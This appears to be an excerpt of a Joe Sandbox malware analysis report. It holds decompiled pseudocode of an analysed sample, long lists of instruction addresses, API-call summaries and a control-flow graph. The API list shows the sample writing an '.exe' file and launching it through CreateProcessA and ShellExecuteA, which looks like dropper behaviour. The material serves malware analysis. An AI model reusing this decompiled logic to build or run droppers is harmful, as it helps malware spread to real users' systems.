                                                          																							_t364 = _t342;
                                                          																							goto L85;
                                                          																						}
                                                          																					}
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																}
                                                          															}
                                                          														}
                                                          													}
                                                          												} else {
                                                          													goto L31;
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          			}


























































































































                                                          0x10002450
                                                          0x10002450
                                                          0x10002450
                                                          0x10002456
                                                          0x1000245c
                                                          0x10002463
                                                          0x1000246b
                                                          0x1000246e
                                                          0x1000246f
                                                          0x1000247d
                                                          0x10002494
                                                          0x1000249c
                                                          0x100024a3
                                                          0x100024ae
                                                          0x100024b3
                                                          0x100024bb
                                                          0x100024cc
                                                          0x100024d1
                                                          0x100024d8
                                                          0x100024db
                                                          0x100024e6
                                                          0x100024f1
                                                          0x100024fc
                                                          0x10002507
                                                          0x10002514
                                                          0x10002517
                                                          0x1000251c
                                                          0x1000251f
                                                          0x1000251f
                                                          0x1000252a
                                                          0x10002532
                                                          0x10002539
                                                          0x100029b4
                                                          0x00000000
                                                          0x1000253f
                                                          0x10002547
                                                          0x100029b0
                                                          0x100029b0
                                                          0x00000000
                                                          0x1000254d
                                                          0x1000254d
                                                          0x10002556
                                                          0x00000000
                                                          0x10002565
                                                          0x1000256a
                                                          0x100029ab
                                                          0x00000000
                                                          0x10002570
                                                          0x10002574
                                                          0x10002579
                                                          0x1000257e
                                                          0x10002972
                                                          0x00000000
                                                          0x10002584
                                                          0x10002584
                                                          0x10002589
                                                          0x10002598
                                                          0x1000259d
                                                          0x100025a2
                                                          0x100025a7
                                                          0x100025a9
                                                          0x100025ac
                                                          0x100025b1
                                                          0x100025b9
                                                          0x100025d9
                                                          0x100025e0
                                                          0x100025f0
                                                          0x100025bb
                                                          0x100025be
                                                          0x100025c0
                                                          0x100025c6
                                                          0x100025c8
                                                          0x100025c8
                                                          0x100025ca
                                                          0x100025cf
                                                          0x100025d2
                                                          0x100025d2
                                                          0x100025f2
                                                          0x100025f9
                                                          0x100025fe
                                                          0x1000260f
                                                          0x10002616
                                                          0x1000261d
                                                          0x10002624
                                                          0x10002628
                                                          0x1000262f
                                                          0x10002633
                                                          0x10002634
                                                          0x10002639
                                                          0x1000263e
                                                          0x10002641
                                                          0x10002674
                                                          0x10002679
                                                          0x1000267d
                                                          0x10002682
                                                          0x10002687
                                                          0x1000268b
                                                          0x10002643
                                                          0x1000264b
                                                          0x10002653
                                                          0x10002658
                                                          0x1000265a
                                                          0x1000265b
                                                          0x10002667
                                                          0x1000266a
                                                          0x1000266e
                                                          0x1000266e
                                                          0x1000268d
                                                          0x10002695
                                                          0x1000269d
                                                          0x100026a9
                                                          0x100026ac
                                                          0x100026b0
                                                          0x100026b2
                                                          0x100026b2
                                                          0x100026b7
                                                          0x100026d2
                                                          0x100026da
                                                          0x100026dc
                                                          0x100026e1
                                                          0x100026ed
                                                          0x100026ef
                                                          0x100026f5
                                                          0x1000271e
                                                          0x10002720
                                                          0x1000272f
                                                          0x1000272f
                                                          0x10002722
                                                          0x10002722
                                                          0x10002723
                                                          0x10002728
                                                          0x1000272b
                                                          0x1000272b
                                                          0x00000000
                                                          0x100026f7
                                                          0x100026f7
                                                          0x100026f7
                                                          0x100026fa
                                                          0x100026fc
                                                          0x10002a02
                                                          0x00000000
                                                          0x10002702
                                                          0x10002702
                                                          0x10002703
                                                          0x10002708
                                                          0x1000270b
                                                          0x1000270d
                                                          0x00000000
                                                          0x10002713
                                                          0x10002713
                                                          0x10002716
                                                          0x10002719
                                                          0x10002731
                                                          0x10002735
                                                          0x10002736
                                                          0x1000273d
                                                          0x10002746
                                                          0x10002749
                                                          0x10002751
                                                          0x00000000
                                                          0x10002751
                                                          0x1000270d
                                                          0x100026fc
                                                          0x100026b9
                                                          0x100026b9
                                                          0x100026bc
                                                          0x100026c0
                                                          0x100026c8
                                                          0x10002755
                                                          0x10002755
                                                          0x1000275f
                                                          0x1000278c
                                                          0x1000278c
                                                          0x10002793
                                                          0x100027c2
                                                          0x100027c2
                                                          0x100027c6
                                                          0x100027ce
                                                          0x100027d6
                                                          0x100027de
                                                          0x1000280d
                                                          0x10002816
                                                          0x10002823
                                                          0x10002848
                                                          0x1000284d
                                                          0x10002855
                                                          0x1000286d
                                                          0x10002874
                                                          0x10002874
                                                          0x1000284d
                                                          0x1000288b
                                                          0x1000289f
                                                          0x100028a6
                                                          0x100028b2
                                                          0x100028bb
                                                          0x100028c4
                                                          0x100028cd
                                                          0x100028d6
                                                          0x100028df
                                                          0x100028e8
                                                          0x100028f1
                                                          0x100028fa
                                                          0x1000290a
                                                          0x1000291e
                                                          0x1000292f
                                                          0x1000292f
                                                          0x10002935
                                                          0x1000293c
                                                          0x1000296b
                                                          0x1000296b
                                                          0x10002977
                                                          0x10002977
                                                          0x1000297e
                                                          0x100029b9
                                                          0x100029c0
                                                          0x100029cf
                                                          0x100029de
                                                          0x100029e6
                                                          0x100029f5
                                                          0x100029f6
                                                          0x10002a01
                                                          0x10002980
                                                          0x10002980
                                                          0x10002984
                                                          0x10002985
                                                          0x1000298d
                                                          0x1000299f
                                                          0x1000299f
                                                          0x100029a1
                                                          0x100029a6
                                                          0x00000000
                                                          0x1000298f
                                                          0x1000298f
                                                          0x10002992
                                                          0x1000299d
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000299d
                                                          0x1000298d
                                                          0x1000293e
                                                          0x1000293e
                                                          0x10002942
                                                          0x10002943
                                                          0x1000294b
                                                          0x10002961
                                                          0x10002961
                                                          0x10002963
                                                          0x10002968
                                                          0x00000000
                                                          0x1000294d
                                                          0x1000294d
                                                          0x10002950
                                                          0x1000295b
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000295b
                                                          0x1000294b
                                                          0x100027e0
                                                          0x100027e0
                                                          0x100027e4
                                                          0x100027e5
                                                          0x100027ed
                                                          0x10002803
                                                          0x10002803
                                                          0x10002805
                                                          0x1000280a
                                                          0x00000000
                                                          0x100027ef
                                                          0x100027ef
                                                          0x100027f2
                                                          0x100027fd
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x100027fd
                                                          0x100027ed
                                                          0x10002795
                                                          0x10002795
                                                          0x10002799
                                                          0x1000279a
                                                          0x100027a2
                                                          0x100027b8
                                                          0x100027b8
                                                          0x100027ba
                                                          0x100027bf
                                                          0x00000000
                                                          0x100027a4
                                                          0x100027a4
                                                          0x100027a7
                                                          0x100027b2
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x100027b2
                                                          0x100027a2
                                                          0x10002761
                                                          0x10002761
                                                          0x10002764
                                                          0x1000276c
                                                          0x10002782
                                                          0x10002782
                                                          0x10002784
                                                          0x10002789
                                                          0x00000000
                                                          0x1000276e
                                                          0x1000276e
                                                          0x10002771
                                                          0x1000277c
                                                          0x10002a07
                                                          0x10002a07
                                                          0x10002a0c
                                                          0x10002a0c
                                                          0x10002a11
                                                          0x10002a11
                                                          0x10002a16
                                                          0x10002a17
                                                          0x10002a18
                                                          0x10002a19
                                                          0x10002a1a
                                                          0x10002a1b
                                                          0x10002a1c
                                                          0x10002a1d
                                                          0x10002a1e
                                                          0x10002a1f
                                                          0x10002a21
                                                          0x10002a23
                                                          0x10002a26
                                                          0x10002a27
                                                          0x10002a29
                                                          0x10002a2a
                                                          0x10002a2d
                                                          0x10002a30
                                                          0x10002a33
                                                          0x10002a35
                                                          0x10002ba4
                                                          0x10002ba9
                                                          0x10002a3b
                                                          0x10002a3b
                                                          0x10002a3c
                                                          0x10002a3f
                                                          0x10002a42
                                                          0x10002a44
                                                          0x10002ba3
                                                          0x00000000
                                                          0x10002a4a
                                                          0x10002a4a
                                                          0x10002b5c
                                                          0x10002b5f
                                                          0x00000000
                                                          0x10002b61
                                                          0x10002b61
                                                          0x10002b64
                                                          0x00000000
                                                          0x10002b66
                                                          0x10002b66
                                                          0x10002b6c
                                                          0x10002b74
                                                          0x10002b77
                                                          0x10002b78
                                                          0x10002b7e
                                                          0x10002b92
                                                          0x10002b92
                                                          0x10002b94
                                                          0x10002b9c
                                                          0x00000000
                                                          0x10002b80
                                                          0x10002b80
                                                          0x10002b83
                                                          0x10002b86
                                                          0x10002b88
                                                          0x10002b8b
                                                          0x10002b8e
                                                          0x00000000
                                                          0x10002b90
                                                          0x10002b90
                                                          0x00000000
                                                          0x10002b90
                                                          0x10002b8e
                                                          0x10002b7e
                                                          0x10002b64
                                                          0x10002a50
                                                          0x10002a52
                                                          0x10002a57
                                                          0x10002a5e
                                                          0x10002a60
                                                          0x10002bb1
                                                          0x10002bb1
                                                          0x00000000
                                                          0x10002a66
                                                          0x10002a68
                                                          0x10002a6b
                                                          0x10002a6d
                                                          0x10002a78
                                                          0x10002a7a
                                                          0x10002a7c
                                                          0x10002a7e
                                                          0x10002a8a
                                                          0x10002a8c
                                                          0x10002a8e
                                                          0x10002a91
                                                          0x10002a94
                                                          0x10002a80
                                                          0x10002a80
                                                          0x10002a85
                                                          0x10002a85
                                                          0x10002a6f
                                                          0x10002a6f
                                                          0x10002a71
                                                          0x10002a71
                                                          0x10002aa0
                                                          0x10002aa2
                                                          0x10002aa8
                                                          0x10002ad1
                                                          0x10002ad3
                                                          0x10002ae2
                                                          0x10002ae2
                                                          0x10002ad5
                                                          0x10002ad5
                                                          0x10002ad6
                                                          0x10002adb
                                                          0x10002ade
                                                          0x10002ade
                                                          0x00000000
                                                          0x10002aaa
                                                          0x10002aaa
                                                          0x10002aaa
                                                          0x10002aad
                                                          0x10002aaf
                                                          0x10002bb6
                                                          0x10002bb6
                                                          0x10002bbb
                                                          0x10002bbc
                                                          0x10002bbd
                                                          0x10002bbe
                                                          0x10002bbf
                                                          0x10002bc0
                                                          0x10002bc1
                                                          0x10002bc3
                                                          0x10002bc4
                                                          0x10002bc5
                                                          0x10002bc6
                                                          0x10002bc9
                                                          0x10002bcb
                                                          0x10002bce
                                                          0x10002bd3
                                                          0x10002bd8
                                                          0x10002bdb
                                                          0x10002c64
                                                          0x10002c69
                                                          0x10002c6f
                                                          0x10002c72
                                                          0x10002c79
                                                          0x10002be1
                                                          0x10002be1
                                                          0x10002be4
                                                          0x10002be7
                                                          0x10002be8
                                                          0x10002bea
                                                          0x10002bed
                                                          0x10002bef
                                                          0x10002bef
                                                          0x10002bf1
                                                          0x10002bf7
                                                          0x10002c20
                                                          0x10002c20
                                                          0x10002bf9
                                                          0x10002bfc
                                                          0x10002c01
                                                          0x00000000
                                                          0x10002c03
                                                          0x10002c03
                                                          0x10002c09
                                                          0x10002c1b
                                                          0x10002c0b
                                                          0x10002c0b
                                                          0x10002c0b
                                                          0x10002c09
                                                          0x10002c01
                                                          0x10002c27
                                                          0x10002c30
                                                          0x10002c3e
                                                          0x10002c4e
                                                          0x10002c59
                                                          0x10002c61
                                                          0x10002c7b
                                                          0x10002c83
                                                          0x10002c8a
                                                          0x10002c91
                                                          0x10002c94
                                                          0x10002c97
                                                          0x10002c9c
                                                          0x10002ca1
                                                          0x10002ca8
                                                          0x10002caf
                                                          0x10002cb7
                                                          0x10002ab5
                                                          0x10002ab5
                                                          0x10002ab6
                                                          0x10002abb
                                                          0x10002abe
                                                          0x10002ac0
                                                          0x10002bac
                                                          0x10002bac
                                                          0x00000000
                                                          0x10002ac6
                                                          0x10002ac6
                                                          0x10002ac9
                                                          0x10002acc
                                                          0x10002ae4
                                                          0x10002ae7
                                                          0x10002aee
                                                          0x10002af1
                                                          0x10002af5
                                                          0x10002af6
                                                          0x10002b41
                                                          0x10002b42
                                                          0x10002b43
                                                          0x10002b48
                                                          0x10002b4e
                                                          0x10002b50
                                                          0x10002b59
                                                          0x10002af8
                                                          0x10002af8
                                                          0x10002afa
                                                          0x10002afb
                                                          0x10002afc
                                                          0x10002b04
                                                          0x10002b07
                                                          0x10002b08
                                                          0x10002b0e
                                                          0x10002b26
                                                          0x10002b26
                                                          0x10002b28
                                                          0x10002b2d
                                                          0x10002b33
                                                          0x10002b35
                                                          0x10002b3e
                                                          0x10002b10
                                                          0x10002b10
                                                          0x10002b13
                                                          0x10002b16
                                                          0x10002b18
                                                          0x10002b1b
                                                          0x10002b1e
                                                          0x00000000
                                                          0x10002b24
                                                          0x10002b24
                                                          0x00000000
                                                          0x10002b24
                                                          0x10002b1e
                                                          0x10002b0e
                                                          0x10002af6
                                                          0x10002ac0
                                                          0x10002aaf
                                                          0x10002aa8
                                                          0x10002a60
                                                          0x10002a4a
                                                          0x10002a44
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000277c
                                                          0x1000276c
                                                          0x1000275f
                                                          0x100026b7
                                                          0x1000257e
                                                          0x1000256a
                                                          0x10002556
                                                          0x10002547

                                                          APIs
                                                            • Part of subcall function 10006436: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,10002479,00000000), ref: 10006449
                                                            • Part of subcall function 10006436: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1000647A
                                                          • CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 10002842
                                                          • WriteFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 1000286D
                                                          • CloseHandle.KERNEL32(00000000), ref: 10002874
                                                          • CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 10002902
                                                          • ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,0000000A), ref: 1000292F
                                                          • CoUninitialize.OLE32 ref: 100029E6
                                                          • Concurrency::cancel_current_task.LIBCPMT ref: 10002A02
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: File$CreateTime$CloseConcurrency::cancel_current_taskExecuteHandleProcessShellSystemUninitializeUnothrow_t@std@@@Write__ehfuncinfo$??2@
                                                          • String ID: .exe$D$open
                                                          • API String ID: 486856157-1167955346
                                                          • Opcode ID: 94542779c2cbe68dcfa0da88a96b167bcfe548502e27a71f2e7a21729ccdced1
                                                          • Instruction ID: a5dc631b58f12eb130fcfc4579c604e67e83b8f68047a22d4781f4a2ecc51844
                                                          • Opcode Fuzzy Hash: 94542779c2cbe68dcfa0da88a96b167bcfe548502e27a71f2e7a21729ccdced1
                                                          • Instruction Fuzzy Hash: 2CE1E2716083809BF724CB24CC45B9FB7E5FF85380F108A2CF599962D5DBB1E9848B92
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 2874 4286be-4286ee call 42840c 2877 4286f0-4286fb call 4135de 2874->2877 2878 428709-428715 call 42540e 2874->2878 2883 4286fd-428704 call 4135f1 2877->2883 2884 428717-42872c call 4135de call 4135f1 2878->2884 2885 42872e-428777 call 428377 2878->2885 2894 4289e3-4289e7 2883->2894 2884->2883 2892 4287e4-4287ed GetFileType 2885->2892 2893 428779-428782 2885->2893 2898 428836-428839 2892->2898 2899 4287ef-428820 GetLastError call 4135bb CloseHandle 2892->2899 2896 428784-428788 2893->2896 2897 4287b9-4287df GetLastError call 4135bb 2893->2897 2896->2897 2903 42878a-4287b7 call 428377 2896->2903 2897->2883 2901 428842-428848 2898->2901 2902 42883b-428840 2898->2902 2899->2883 2913 428826-428831 call 4135f1 2899->2913 2906 42884c-42889a call 425359 2901->2906 2907 42884a 2901->2907 2902->2906 2903->2892 2903->2897 2917 4288b9-4288e1 call 428124 2906->2917 2918 42889c-4288a8 call 428586 2906->2918 2907->2906 2913->2883 2923 4288e3-4288e4 2917->2923 2924 4288e6-428927 2917->2924 2918->2917 2925 4288aa 2918->2925 2926 4288ac-4288b4 call 41ec93 2923->2926 2927 428948-428956 2924->2927 2928 428929-42892d 2924->2928 2925->2926 2926->2894 2930 4289e1 2927->2930 2931 42895c-428960 2927->2931 2928->2927 2929 42892f-428943 2928->2929 2929->2927 2930->2894 2931->2930 2933 428962-428995 CloseHandle call 428377 2931->2933 2937 428997-4289c3 GetLastError call 4135bb call 425521 2933->2937 2938 4289c9-4289dd 2933->2938 2937->2938 2938->2930
                                                          C-Code - Quality: 43%
                                                          			E004286BE(void* __ecx, void* __eflags, intOrPtr* _a4, signed int* _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24) {
                                                          				signed int _v5;
                                                          				char _v6;
                                                          				void* _v12;
                                                          				signed int _v16;
                                                          				signed int _v20;
                                                          				char _v24;
                                                          				intOrPtr _v36;
                                                          				signed int _v44;
                                                          				void _v48;
                                                          				char _v72;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t114;
                                                          				void* _t122;
                                                          				signed int _t123;
                                                          				signed char _t124;
                                                          				signed int _t134;
                                                          				intOrPtr _t162;
                                                          				intOrPtr _t178;
                                                          				signed int* _t186;
                                                          				void* _t188;
                                                          				signed int* _t189;
                                                          				signed int _t191;
                                                          				char _t196;
                                                          				signed int _t202;
                                                          				signed int _t205;
                                                          				signed int _t214;
                                                          				signed int _t216;
                                                          				signed int _t218;
                                                          				signed int _t224;
                                                          				signed int _t226;
                                                          				signed int _t233;
                                                          				signed int _t234;
                                                          				signed int _t236;
                                                          				signed int _t238;
                                                          				signed char _t241;
                                                          				signed int _t242;
                                                          				intOrPtr _t246;
                                                          				void* _t249;
                                                          				void* _t253;
                                                          				void* _t263;
                                                          				signed int _t264;
                                                          				signed int _t267;
                                                          				signed int _t268;
                                                          				signed int _t271;
                                                          				void* _t273;
                                                          				void* _t275;
                                                          				void* _t276;
                                                          				void* _t278;
                                                          				void* _t279;
                                                          				void* _t281;
                                                          				void* _t285;
                                                          				signed int _t289;
                                                          
                                                          				_t263 = E0042840C(__ecx,  &_v72, _a16, _a20, _a24);
                                                          				_t191 = 6;
                                                          				memcpy( &_v48, _t263, _t191 << 2);
                                                          				_t275 = _t273 + 0x1c;
                                                          				_t249 = _t263 + _t191 + _t191;
                                                          				_t264 = _t263 | 0xffffffff;
                                                          				_t288 = _v36 - _t264;
                                                          				if(_v36 != _t264) {
                                                          					_t114 = E0042540E(_t188, _t249, _t264, __eflags);
                                                          					_t189 = _a8;
                                                          					 *_t189 = _t114;
                                                          					__eflags = _t114 - _t264;
                                                          					if(__eflags != 0) {
                                                          						_v20 = _v20 & 0x00000000;
                                                          						_v24 = 0xc;
                                                          						_t276 = _t275 - 0x18;
                                                          						 *_a4 = 1;
                                                          						_push(6);
                                                          						_v16 =  !(_a16 >> 7) & 1;
                                                          						_push( &_v24);
                                                          						_push(_a12);
                                                          						memcpy(_t276,  &_v48, 1 << 2);
                                                          						_t196 = 0;
                                                          						_t122 = E00428377(); // executed
                                                          						_t253 = _t122;
                                                          						_t278 = _t276 + 0x2c;
                                                          						_v12 = _t253;
                                                          						__eflags = _t253 - 0xffffffff;
                                                          						if(_t253 != 0xffffffff) {
                                                          							L11:
                                                          							_t123 = GetFileType(_t253); // executed
                                                          							__eflags = _t123;
                                                          							if(_t123 != 0) {
                                                          								__eflags = _t123 - 2;
                                                          								if(_t123 != 2) {
                                                          									__eflags = _t123 - 3;
                                                          									_t124 = _v48;
                                                          									if(_t123 == 3) {
                                                          										_t124 = _t124 | 0x00000008;
                                                          										__eflags = _t124;
                                                          									}
                                                          								} else {
                                                          									_t124 = _v48 | 0x00000040;
                                                          								}
                                                          								_v5 = _t124;
                                                          								E00425359(_t196, _t253,  *_t189, _t253);
                                                          								_t241 = _v5 | 0x00000001;
                                                          								_v5 = _t241;
                                                          								_v48 = _t241;
                                                          								 *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) = _t241;
                                                          								_t202 =  *_t189;
                                                          								_t204 = (_t202 & 0x0000003f) * 0x38;
                                                          								__eflags = _a16 & 0x00000002;
                                                          								 *((char*)( *((intOrPtr*)(0x4508e0 + (_t202 >> 6) * 4)) + 0x29 + (_t202 & 0x0000003f) * 0x38)) = 0;
                                                          								if((_a16 & 0x00000002) == 0) {
                                                          									L22:
                                                          									_v6 = 0;
                                                          									_push( &_v6);
                                                          									_push(_a16);
                                                          									_t279 = _t278 - 0x18;
                                                          									_t205 = 6;
                                                          									_push( *_t189);
                                                          									memcpy(_t279,  &_v48, _t205 << 2);
                                                          									_t134 = E00428124(_t189,  &_v48 + _t205 + _t205,  &_v48);
                                                          									_t242 =  *_t189;
                                                          									_t267 = _t134;
                                                          									_t281 = _t279 + 0x30;
                                                          									__eflags = _t267;
                                                          									if(__eflags == 0) {
                                                          										 *((char*)( *((intOrPtr*)(0x4508e0 + (_t242 >> 6) * 4)) + 0x29 + (_t242 & 0x0000003f) * 0x38)) = _v6;
                                                          										 *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38)) & 0x00000001;
                                                          										__eflags = _v5 & 0x00000048;
                                                          										if((_v5 & 0x00000048) == 0) {
                                                          											__eflags = _a16 & 0x00000008;
                                                          											if((_a16 & 0x00000008) != 0) {
                                                          												_t224 =  *_t189;
                                                          												_t226 = (_t224 & 0x0000003f) * 0x38;
                                                          												_t162 =  *((intOrPtr*)(0x4508e0 + (_t224 >> 6) * 4));
                                                          												_t87 = _t162 + _t226 + 0x28;
                                                          												 *_t87 =  *(_t162 + _t226 + 0x28) | 0x00000020;
                                                          												__eflags =  *_t87;
                                                          											}
                                                          										}
                                                          										_t268 = _v44;
                                                          										__eflags = (_t268 & 0xc0000000) - 0xc0000000;
                                                          										if((_t268 & 0xc0000000) != 0xc0000000) {
                                                          											L32:
                                                          											__eflags = 0;
                                                          											return 0;
                                                          										} else {
                                                          											__eflags = _a16 & 0x00000001;
                                                          											if((_a16 & 0x00000001) == 0) {
                                                          												goto L32;
                                                          											}
                                                          											CloseHandle(_v12);
                                                          											_v44 = _t268 & 0x7fffffff;
                                                          											_t214 = 6;
                                                          											_push( &_v24);
                                                          											_push(_a12);
                                                          											memcpy(_t281 - 0x18,  &_v48, _t214 << 2);
                                                          											_t246 = E00428377();
                                                          											__eflags = _t246 - 0xffffffff;
                                                          											if(_t246 != 0xffffffff) {
                                                          												_t216 =  *_t189;
                                                          												_t218 = (_t216 & 0x0000003f) * 0x38;
                                                          												__eflags = _t218;
                                                          												 *((intOrPtr*)( *((intOrPtr*)(0x4508e0 + (_t216 >> 6) * 4)) + _t218 + 0x18)) = _t246;
                                                          												goto L32;
                                                          											}
                                                          											E004135BB(GetLastError());
                                                          											 *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
                                                          											E00425521( *_t189);
                                                          											L10:
                                                          											goto L2;
                                                          										}
                                                          									}
                                                          									_push(_t242);
                                                          									goto L21;
                                                          								} else {
                                                          									_t267 = E00428586(_t204,  *_t189);
                                                          									__eflags = _t267;
                                                          									if(__eflags == 0) {
                                                          										goto L22;
                                                          									}
                                                          									_push( *_t189);
                                                          									L21:
                                                          									E0041EC93(__eflags);
                                                          									return _t267;
                                                          								}
                                                          							}
                                                          							_t271 = GetLastError();
                                                          							E004135BB(_t271);
                                                          							 *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
                                                          							CloseHandle(_t253);
                                                          							__eflags = _t271;
                                                          							if(__eflags == 0) {
                                                          								 *((intOrPtr*)(E004135F1(__eflags))) = 0xd;
                                                          							}
                                                          							goto L2;
                                                          						}
                                                          						_t233 = _v44;
                                                          						__eflags = (_t233 & 0xc0000000) - 0xc0000000;
                                                          						if((_t233 & 0xc0000000) != 0xc0000000) {
                                                          							L9:
                                                          							_t234 =  *_t189;
                                                          							_t236 = (_t234 & 0x0000003f) * 0x38;
                                                          							_t178 =  *((intOrPtr*)(0x4508e0 + (_t234 >> 6) * 4));
                                                          							_t33 = _t178 + _t236 + 0x28;
                                                          							 *_t33 =  *(_t178 + _t236 + 0x28) & 0x000000fe;
                                                          							__eflags =  *_t33;
                                                          							E004135BB(GetLastError());
                                                          							goto L10;
                                                          						}
                                                          						__eflags = _a16 & 0x00000001;
                                                          						if((_a16 & 0x00000001) == 0) {
                                                          							goto L9;
                                                          						}
                                                          						_t285 = _t278 - 0x18;
                                                          						_v44 = _t233 & 0x7fffffff;
                                                          						_t238 = 6;
                                                          						_push( &_v24);
                                                          						_push(_a12);
                                                          						memcpy(_t285,  &_v48, _t238 << 2);
                                                          						_t196 = 0;
                                                          						_t253 = E00428377();
                                                          						_t278 = _t285 + 0x2c;
                                                          						_v12 = _t253;
                                                          						__eflags = _t253 - 0xffffffff;
                                                          						if(_t253 != 0xffffffff) {
                                                          							goto L11;
                                                          						}
                                                          						goto L9;
                                                          					} else {
                                                          						 *(E004135DE(__eflags)) =  *_t184 & 0x00000000;
                                                          						 *_t189 = _t264;
                                                          						 *((intOrPtr*)(E004135F1(__eflags))) = 0x18;
                                                          						goto L2;
                                                          					}
                                                          				} else {
                                                          					_t186 = E004135DE(_t288);
                                                          					 *_t186 =  *_t186 & 0x00000000;
                                                          					_t289 =  *_t186;
                                                          					 *_a8 = _t264;
                                                          					L2:
                                                          					return  *((intOrPtr*)(E004135F1(_t289)));
                                                          				}
                                                          			}


























































                                                          0x004286e1
                                                          0x004286e5
                                                          0x004286e6
                                                          0x004286e6
                                                          0x004286e6
                                                          0x004286e8
                                                          0x004286eb
                                                          0x004286ee
                                                          0x00428709
                                                          0x0042870e
                                                          0x00428711
                                                          0x00428713
                                                          0x00428715
                                                          0x00428734
                                                          0x0042873b
                                                          0x00428742
                                                          0x00428745
                                                          0x00428751
                                                          0x00428754
                                                          0x0042875c
                                                          0x0042875d
                                                          0x00428760
                                                          0x00428760
                                                          0x00428762
                                                          0x00428767
                                                          0x00428769
                                                          0x0042876c
                                                          0x00428774
                                                          0x00428777
                                                          0x004287e4
                                                          0x004287e5
                                                          0x004287eb
                                                          0x004287ed
                                                          0x00428836
                                                          0x00428839
                                                          0x00428842
                                                          0x00428845
                                                          0x00428848
                                                          0x0042884a
                                                          0x0042884a
                                                          0x0042884a
                                                          0x0042883b
                                                          0x0042883e
                                                          0x0042883e
                                                          0x0042884f
                                                          0x00428852
                                                          0x0042885e
                                                          0x00428863
                                                          0x0042886f
                                                          0x00428879
                                                          0x0042887d
                                                          0x00428887
                                                          0x0042888a
                                                          0x00428895
                                                          0x0042889a
                                                          0x004288b9
                                                          0x004288bc
                                                          0x004288c0
                                                          0x004288c1
                                                          0x004288c7
                                                          0x004288cc
                                                          0x004288cf
                                                          0x004288d1
                                                          0x004288d3
                                                          0x004288d8
                                                          0x004288da
                                                          0x004288dc
                                                          0x004288df
                                                          0x004288e1
                                                          0x004288fb
                                                          0x0042891f
                                                          0x00428923
                                                          0x00428927
                                                          0x00428929
                                                          0x0042892d
                                                          0x0042892f
                                                          0x00428939
                                                          0x0042893c
                                                          0x00428943
                                                          0x00428943
                                                          0x00428943
                                                          0x00428943
                                                          0x0042892d
                                                          0x00428948
                                                          0x00428954
                                                          0x00428956
                                                          0x004289e1
                                                          0x004289e1
                                                          0x00000000
                                                          0x0042895c
                                                          0x0042895c
                                                          0x00428960
                                                          0x00000000
                                                          0x00000000
                                                          0x00428965
                                                          0x00428977
                                                          0x0042897f
                                                          0x00428982
                                                          0x00428983
                                                          0x00428986
                                                          0x0042898d
                                                          0x00428992
                                                          0x00428995
                                                          0x004289c9
                                                          0x004289d3
                                                          0x004289d3
                                                          0x004289dd
                                                          0x00000000
                                                          0x004289dd
                                                          0x0042899e
                                                          0x004289b7
                                                          0x004289be
                                                          0x004287de
                                                          0x00000000
                                                          0x004287de
                                                          0x00428956
                                                          0x004288e3
                                                          0x00000000
                                                          0x0042889c
                                                          0x004288a3
                                                          0x004288a6
                                                          0x004288a8
                                                          0x00000000
                                                          0x00000000
                                                          0x004288aa
                                                          0x004288ac
                                                          0x004288ac
                                                          0x00000000
                                                          0x004288b2
                                                          0x0042889a
                                                          0x004287f5
                                                          0x004287f8
                                                          0x00428813
                                                          0x00428818
                                                          0x0042881e
                                                          0x00428820
                                                          0x0042882b
                                                          0x0042882b
                                                          0x00000000
                                                          0x00428820
                                                          0x00428779
                                                          0x00428780
                                                          0x00428782
                                                          0x004287b9
                                                          0x004287b9
                                                          0x004287c3
